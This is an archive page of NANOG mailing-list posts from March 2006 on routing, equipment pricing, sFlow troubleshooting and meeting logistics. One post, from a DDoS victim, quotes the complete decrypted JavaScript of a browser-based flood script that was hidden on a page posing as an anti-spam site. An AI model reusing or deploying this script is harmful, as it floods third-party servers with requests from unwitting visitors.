- Test - lists.nanog.org

Save the dates
by Susan Harris 24 Mar '06

24 Mar '06

Hi everyone - you'll be glad to hear that our likely meeting dates for June are Sunday-Wednesday, June 4-7. We'll follow the new meeting format that was so successful in Dallas, and the location will be announced within the next 10 days or so. This fall we'll celebrate our fifth joint meeting with ARIN in St. Louis - many thanks to Washington University in St. Louis and Savvis for making this possible. NANOG 38 will follow our "old" format, with NANOG meeting Sunday-Tuesday, Oct. 8-10, and ARIN Wednesday-Friday, Oct. 11-13. Please plan on attending both meetings - it's a great way to get involved with the folks who influence your life so hugely by assigning your IPs and ASNs (www.arin.net) See you soon!

1 0

Ongoing DDoS helped by non responsive abuse desks
by Martin Lathoud 23 Mar '06

23 Mar '06

Hi, One of our web servers got hammered by ~5K req/s for hours from browsers with the following referer: http://www.freewebs.com/ihatespammers/nospam.html Both freewebs.com and their network provider Cogent has been contacted without any visible result, even if the script is very effective (no filtering slows it down but redirecting to an https with an invalid cert eventually messes the attackers' browser). Given that the source is still up (and has been updated since yesterday), I wonder what one can expect by contacting each concerned domain host. The decrypted jscript is: var target=new Array(); target[0]="http://weerona.com/ph/order.php?%rand%" target[1]="http://fabutons.info/aw/001/?%rand%" target[2]="http://movi96.dayaugusta.com/aspx/search.asp?t=%rand%" target[3]="http://www.fakeidonline.com/store.php?%rand%" target[4]="http://ccebak.bestti.info/p/?%rand%" target[5]="http://www.zpgo.net/pweb7/texpo/?%rand%" target[6]="http://www.tex-win.com/productshow.asp?id=1808&%rand%=%rand%" target[7]="http://7eklp9g3.tagsully.net/p/?%rand%&zz=lowcost" //target[5]="http://zzizuyxxqquzjphyn.logomarz.com/counter.php?%rand%" //target[6]="http://svbcrwevktdbxf.logomarz.com/counter.php?%rand%" //target[7]="http://fqnbywsqfghz.logomarz.com/counter.php?%rand%" //target[8]="http://fvguwwnemlpgkd.logomarz.com/counter.php?%rand%" //target[9]="http://www.logodentity.com/ordernow.php?%rand%" //target[10]="http://www.clearlogo.com/ordernow.php?plan=1&%rand%=%rand%" //target[11]="http://www.heartysouvenirs.info/?page=shoppingcart&%rand%=%rand%" //target[9]="http://www.webpromotionnow.com/?%rand%" // Do not edit below this line var arrcount = 0; var chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; function doddos(){ var randomstring = ''; for (var i=0; i<8; i++) { var rnum = Math.floor(Math.random() * chars.length); randomstring += chars.substring(rnum,rnum+1); } if (arrcount > (target.length - 1)){ arrcount = 0; } var dimg = new Image; dimg.src=target[arrcount].replace(/\%rand\%/g,randomstring); arrcount++; setTimeout("doddos()",50); } setTimeout("doddos()",50);

3 3

Question on BGP Link-Local peering...
by Aaron Daubman 23 Mar '06

23 Mar '06

Greetings, In trying to follow the guidance in draft-kato-bgp-ipv6-link-local-00.txt while setting up a network using BGP link-local peering, I came up with a few questions I could not answer on my own. First, some network details: - eBGP sessions will be established across p2p links via link local address + each interface on the p2p link will ONLY be addressed with link-local addresses + each router on the ends of the link will have a single global unicast address tied to a loopback interface. Part of the draft (http://www.join.uni-muenster.de/Dokumente/drafts/draft-kato-bgp-ipv6-link-l…) states: """ A) BGP-4 speakers should ignore the IPv6 global address specified in the next hop field in a MP_REACH_NLRI attribute learned over a link-local E-BGP session, provided if it does not match with one of the IPv6 global prefixes assigned to the link. (It is possible to assign an IPv6 global prefix to an IX and have a link-local E-BGP session.) """ and """ C) BGP-4 implementations should be able to configure, at least per session basis, which IPv6 global address is to be filled in the next hop field of MP_REACH_NLRI attributes. In the case of link-local E- BGP sessions, arbitrary IPv6 address can be specified while in a typical case an IPv6 global address attached to the node (other interface or loopback) will be specified. """" In the network described above, peering will be configured using the link-local addresses, and the next-hop will be advertised with both the link-local address as well as the loopback global-unicast address (via a route-map). Here are the questions that arose out of this configuration: 1) What does "BGP-4 speakers should ignore the IPv6 global address specified in the next hop field in a MP_REACH_NLRI attribute learned over a link-local E-BGP session" mean from A referenced above. Would not the global address still need to be used for route propagation, rather than "ignored"? 2) Stemming from above, if a loopback global address is used as mentioned in C above ("in a typical case an IPv6 global address attached to the node (other interface or loopback) will be specified"), how will nodes in the attached network receiving the advertisement know how to reach this not-attached next-hop? I seem to be missing some magic that would allow this global address to be reachable and re-advertisable to iBGP peers as the upstream next-hop (since link-local will be useful only to the direct peer). - Is the global address ignores as referenced above and such peers must be configured to next-hop-self to their iBGP neighbors? - Does each neighbor then need a static route installed to the global loopback via the link-local address? - Is there some other behind-the-scenes magic that I'm missing that informs peer routers how to reach the global loopback address? Thanks! ~Aaron

1 0

Juniper Support pricing.
by Andy Davidson 23 Mar '06

23 Mar '06

Hi, Has anyone else seen Juniper support pricing take one hell of a hike in the past twelve months ? We've been quoted a rise of 141% on the costs of supporting our ISG2000 units, and a 114% rise on the costs of supporting our Redline^WJuniper E|X devices. I've been asked to provide a case to evaluate the costs of binning the existing kit and migrating the firewalls to PIX... which I'd prefer to avoid if at all possible, as it is a bad time to take on the extra workload. We have been a model (I hope!) customer in that we've only had one post-sales/operational trouble-ticket case open in the past twelve months for our entire family of Juniper products ! Just wondering whether it's something you guys have seen too. -a

1 0

firewall recommendations?
by Matt Hess 22 Mar '06

22 Mar '06

I'm looking for a firewall that has a very high packet throughput rate, can handle minimal stun tasks, do server load balancing for http etc., handle many-to-one as well as bi-directional NAT and just plain works with high reliability/redundancy. Suggestions off list would be wonderful. Thanks.

2 1

Re: Network graphics tools
by Roger Marquis 22 Mar '06

22 Mar '06

John Kinsella wrote: > Not sure how preferring things like rectangles stops you from > using Visio, but *shrug* Probably has more to do with the other features of Visio. Hidden metadata, slow VBS, fragile registry dependencies, ... all of which engineers tend to discover before an important deadline. > Not trying to start a Visio religious war, just saying there's a reason > enterprises use it. Like most things enterprises use it because that's what they know. Managers also believe they "can't get fired for buying IBM". They will likely continue believing this until another manager comes along who knows open-source and how to use it for a better ROI. -- Roger Marquis Roble Systems Consulting http://www.roble.com/

1 0

Re: Final report: national diversity assurance initiative
by Frank Coluccio 22 Mar '06

22 Mar '06

It may be ridiculous and incredible, as you suggest, but, in an ironic way it also opens the door to a discussion on nationalizing the 'Net's backbone infrastructure ;-) ---------------- Christian Kuhtz <christian(a)kuhtz.com> wrote: "Due to the cost structures for these projects, the telecommunications carriers believe that funding for the scoping effort and the implementation of an automated solution would need to come from the Federal government or some other external source prior to project implementation." .. and not afraid to ask for handouts either to fix their own backoffice challenges.. In a word: ridiculous, and flat out incredible. On Mar 21, 2006, at 2:17 PM, Sean Donelan wrote: > > > ATIS has issued its final reports about its circuit national > diversiety > assurance initiative. > > "The NDAI report confirmed our suspicions that diversity > assurance is > not for the meek," Malphrus added. "It is expensive and requires > commitment by the customer to work closely with carriers in > performing > due diligence. Until the problem is solved, circuit route diversity > should not be promoted as a general customer best practice." > > Press release: > http://www.atis.org/PRESS/pressreleases2006/031506.htm > > Report: > http://www.atis.org/ndai/ >

3 2

Only inbound traffic in sFlow export. Why?
by Nikolay Pavlov 21 Mar '06

21 Mar '06

Hi, folks. I have a strange issue on my core router Foundry BigIron 8000 with sFlow export. I see only inbound traffic on sFlow samples: host 206.53.60.34 is in my network (Also i did this test with other hosts). # sflowtool -p 3000 -t | tcpdump -nr - dst host 206.53.60.34 reading from file -, link-type EN10MB (Ethernet) 15:04:53.000000 IP 82.128.3.52.45013 > 206.53.60.34.80: . ack 24619974 win 17520 <nop,nop,timestamp 36603788 4211256578> 15:04:54.000000 IP 24.174.11.206.3373 > 206.53.60.34.80: P 1199114572:1199115084(512) ack 1789266672 win 64240 <nop,nop,timestamp 532058 4211258399> 15:04:58.000000 IP 85.104.28.86.1351 > 206.53.60.34.80: . ack 79673712 win 62788 15:04:58.000000 IP 81.208.106.73.57498 > 206.53.60.34.80: . ack 1730139818 win 17520 15:04:59.000000 IP 65.69.142.208.62916 > 206.53.60.34.80: . ack 3847022661 win 65535 15:04:59.000000 IP 61.68.133.228.3536 > 206.53.60.34.80: . ack 1335280708 win 8760 15:05:00.000000 IP 213.189.177.40.3402 > 206.53.60.34.80: . ack 3962404067 win 16153 15:05:01.000000 IP 82.169.132.243.22872 > 206.53.60.34.80: P 2078249237:2078249560(323) ack 2864397975 win 63592 ^Ctcpdump: pcap_loop: error reading dump file: Interrupted system call # sflowtool -p 3000 -t | tcpdump -nr - src host 206.53.60.34 reading from file -, link-type EN10MB (Ethernet) ^Ctcpdump: pcap_loop: error reading dump file: Interrupted system call Here is output from "sh sflow" command: ----------------------------------------------------------------------- telnet@Core# sh sflow sFlow services are enabled. sFlow agent IP address: xxx.xxx.xxx.xxx Collector IP xxx.xxx.xxx.xxx, UDP 3000 Polling interval is 20 seconds. Configured default sampling rate: 1 per 512 packets. Actual default sampling rate: 1 per 512 packets. 24941397 UDP packets exported 191579929 sFlow samples collected. sFlow ports: ethe 1/1 to 1/7 ethe 2/1 to 2/16 ethe 4/1 to 4/16 ethe 5/1 to 5/48 ethe 7/1 to 7/48 ----------------------------------------------------------------------- When i export flows from my border router (BigIron 8000 too) i see traffic in both directions: # sflowtool -t | tcpdump -nr - dst host 206.53.60.34 reading from file -, link-type EN10MB (Ethernet) 15:18:16.000000 IP 195.93.21.70.44620 > 206.53.60.34.80: P 4216426397:4216426900(503) ack 558911682 win 17520 15:18:16.000000 IP 209.76.82.237.4104 > 206.53.60.34.80: . ack 3051999951 win 65535 15:18:17.000000 IP 203.115.128.74.19487 > 206.53.60.34.80: . ack 649200153 win 65160 <nop,nop,timestamp 2010587857 4212863075> 15:18:17.000000 IP 65.151.66.148.2627 > 206.53.60.34.80: P 3261276588:3261276827(239) ack 3084905371 win 8760 15:18:18.000000 IP 64.228.129.114.1347 > 206.53.60.34.80: . ack 1942222805 win 16248 15:18:18.000000 IP 151.49.83.233.2195 > 206.53.60.34.80: . ack 2258415398 win 17520 15:18:18.000000 IP 62.6.113.207.1428 > 206.53.60.34.80: . ack 1739059353 win 8576 15:18:18.000000 IP 209.76.82.237.4104 > 206.53.60.34.80: . ack 55448 win 65535 ^Ctcpdump: pcap_loop: error reading dump file: Interrupted system call # sflowtool -t | tcpdump -nr - src host 206.53.60.34 reading from file -, link-type EN10MB (Ethernet) 15:18:23.000000 IP 206.53.60.34.80 > 84.139.177.56.63643: P 1273730257:1273731004(747) ack 1482625539 win 65535 15:18:23.000000 IP 206.53.60.34.80 > 70.89.28.201.26236: . 2888886127:2888887533(1406) ack 2658889069 win 65535 15:18:23.000000 IP 206.53.60.34.80 > 151.49.83.233.2195: . 2258616474:2258617934(1460) ack 1038346190 win 65535 15:18:23.000000 IP 206.53.60.34.80 > 202.146.253.4.39746: . 1025657670:1025659106(1436) ack 3576198457 win 33028 15:18:24.000000 IP 206.53.60.34.80 > 82.137.200.17.4237: . 614361912:614363360(1448) ack 2805195025 win 33304 <nop,nop,timestamp 4212877595 134434989> 15:18:24.000000 IP 206.53.60.34.80 > 207.200.116.199.33158: . 2934088899:2934090359(1460) ack 4225450683 win 32850 ^Ctcpdump: pcap_loop: error reading dump file: Interrupted system call ----------------------------------------------------------------------- telnet@Border# sh sflow sFlow services are enabled. sFlow agent IP address: xxx.xxx.xxx.xxx Collector IP xxx.xxx.xxx.xxx, UDP 6343 Polling interval is 20 seconds. Configured default sampling rate: 1 per 512 packets. Actual default sampling rate: 1 per 512 packets. 565929 UDP packets exported 2883745 sFlow samples collected. sFlow ports: ethe 1/1 to 1/4 ethe 4/1 to 4/16 ----------------------------------------------------------------------- -- ============================================================================ = Best regards, Nikolay Pavlov. <<<--------------------------------------- = ============================================================================

1 0

Final report: national diversity assurance initiative
by Sean Donelan 21 Mar '06

21 Mar '06

ATIS has issued its final reports about its circuit national diversiety assurance initiative. "The NDAI report confirmed our suspicions that diversity assurance is not for the meek," Malphrus added. "It is expensive and requires commitment by the customer to work closely with carriers in performing due diligence. Until the problem is solved, circuit route diversity should not be promoted as a general customer best practice." Press release: http://www.atis.org/PRESS/pressreleases2006/031506.htm Report: http://www.atis.org/ndai/

2 1

TLD strings currently in use
by John L Crain 21 Mar '06

21 Mar '06

Hi folks, I hope you consider this operational and on Topic:) We have been receiving some reports of rejection of TLD strings at the ISP level. Some of this may be due to length limitations set in peoples software, there may also be other causes. We want to make sure that there is a place where people can go and pick up a current list of the strings that are in the root zone. (Without having to parse the zone file itself). To this end the IANA is maintaining a list that can be downloaded from the following information page http://icann.org/topics/TLD-acceptance/ If you have questions please feel free to use the e-mail listed on the above URL. John Crain CTO ICANN

1 0